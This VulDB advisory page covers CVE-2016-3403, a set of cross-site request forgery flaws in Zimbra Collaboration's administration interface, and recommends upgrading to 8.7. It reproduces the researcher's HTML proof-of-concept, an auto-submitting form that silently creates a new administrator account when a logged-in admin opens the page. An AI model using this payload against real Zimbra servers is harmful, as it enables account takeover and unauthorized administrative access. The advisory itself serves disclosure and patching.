VDB-95285 · CVE-2016-3403 · BID 95383

Synacor Zimbra Collaboration up to 8.6 Administration Interface cross-site request forgery

CVSS Meta Temp Score CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.	Current Exploit Price (≈) Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.	CTI Interest Score Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
6.3	$0-$5k	0.00

Summaryinfo

A vulnerability, which was classified as problematic, has been found in Synacor Zimbra Collaboration up to 8.6. This vulnerability affects unknown code of the component Administration Interface. The manipulation leads to cross-site request forgery. This vulnerability is referenced as CVE-2016-3403. Remote exploitation of the attack is possible. Furthermore, an exploit is available. It is advisable to upgrade the affected component.

Detailsinfo

A vulnerability, which was classified as problematic, has been found in Synacor Zimbra Collaboration up to 8.6 (Groupware Software). This issue affects an unknown functionality of the component Administration Interface. The manipulation with an unknown input leads to a cross-site request forgery vulnerability. Using CWE to declare the problem leads to CWE-352. The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. Impacted is integrity.

The bug was discovered 01/11/2017. The weakness was published 01/11/2017 by Anthony Laou-Hine Tsuei with Sysdream Labs as [CVE-2016-3403] [Zimbra] Multiple CSRF in Administration interface - all versions as confirmed mailinglist post (Full-Disclosure). The advisory is shared at seclists.org. The public release has been coordinated with Synacor. The identification of this vulnerability is CVE-2016-3403 since 03/17/2016. The attack may be initiated remotely. No form of authentication is needed for a successful exploitation. It demands that the victim is doing some kind of user interaction. Technical details are unknown but a public exploit is available. The advisory points out:

Multiple CSRF vulnerabilities have been found in the administration interface of Zimbra, giving possibilities like adding, modifying and removing admin accounts.

A public exploit has been developed by Anthony Laou-Hine Tsuei in HTML and been published immediately after the advisory. The exploit is available at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 322 days. During that time the estimated underground price was around $0-$5k. The code used by the exploit is:

<html>
<body>
<form enctype="text/plain" id="trololo"
action="https://192.168.0.171:7071/service/admin/soap/CreateAccountRequest";
method="POST">
    <input name='<soap:Envelope
xmlns:soap="http://www.w3.org/2003/05/soap-envelope";><soap:Header><context
xmlns="urn:zimbra"><userAgent xmlns="" name="DTC"/><session xmlns=""
id="1337"/><format xmlns=""
type="js"/></context></soap:Header><soap:Body><CreateAccountRequest
xmlns="urn:zimbraAdmin"><name xmlns="">itworks () ubuntu fr</name><password
xmlns="">test1234</password><a xmlns=""
n="zimbraAccountStatus">active</a><a xmlns=""
n="displayName">ItWorks</a><a xmlns="" n'

        value='"sn">itworks</a><a xmlns=""
n="zimbraIsAdminAccount">TRUE</a></CreateAccountRequest></soap:Body></soap:Envelope>'/>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Upgrading to version 8.7 eliminates this vulnerability.

The vulnerability is also documented in the vulnerability database at SecurityFocus (BID 95383†). If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Productinfo

Type

Groupware Software

Vendor

Synacor

Name

Zimbra Collaboration

Version

License

free

Website

Vendor: https://synacor.com/

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 6.6
VulDB Meta Temp Score: 6.4

VulDB Base Score: 4.3
VulDB Temp Score: 3.9
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 8.8
NVD Vector: 🔍

CVSSv2info

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

Vector	Complexity	Authentication	Confidentiality	Integrity	Availability
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Cross-site request forgery
CWE: CWE-352 / CWE-862 / CWE-863
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Anthony Laou-Hine Tsuei
Programming Language: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-Day	Unlock	Unlock	Unlock	Unlock
Today	Unlock	Unlock	Unlock	Unlock

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Upgrade
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Upgrade: Zimbra Collaboration 8.7

Timelineinfo

02/24/2016 🔍
02/24/2016 +0 days 🔍
03/17/2016 +22 days 🔍
01/11/2017 +300 days 🔍
01/11/2017 +0 days 🔍
01/11/2017 +0 days 🔍
01/11/2017 +0 days 🔍
01/13/2017 +2 days 🔍
05/17/2017 +124 days 🔍
10/28/2022 +1990 days 🔍

Sourcesinfo

Vendor: synacor.com

Advisory: [CVE-2016-3403] [Zimbra] Multiple CSRF in Administration interface - all versions
Researcher: Anthony Laou-Hine Tsuei
Organization: Sysdream Labs
Status: Confirmed
Confirmation: 🔍
Coordinated: 🔍

CVE: CVE-2016-3403 (🔍)
GCVE (CVE): GCVE-0-2016-3403
GCVE (VulDB): GCVE-100-95285
SecurityFocus: 95383 - Zimbra CVE-2016-3403 Multiple Cross Site Request Forgery Vulnerabilities

scip Labs: https://www.scip.ch/en/?labs.20161013

Entryinfo

Created: 01/13/2017 12:13
Updated: 10/28/2022 15:00
Changes: 01/13/2017 12:13 (76), 02/03/2020 17:44 (4), 10/28/2022 15:00 (3)
Complete: 🔍
Cache ID: 216::103

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Discussion

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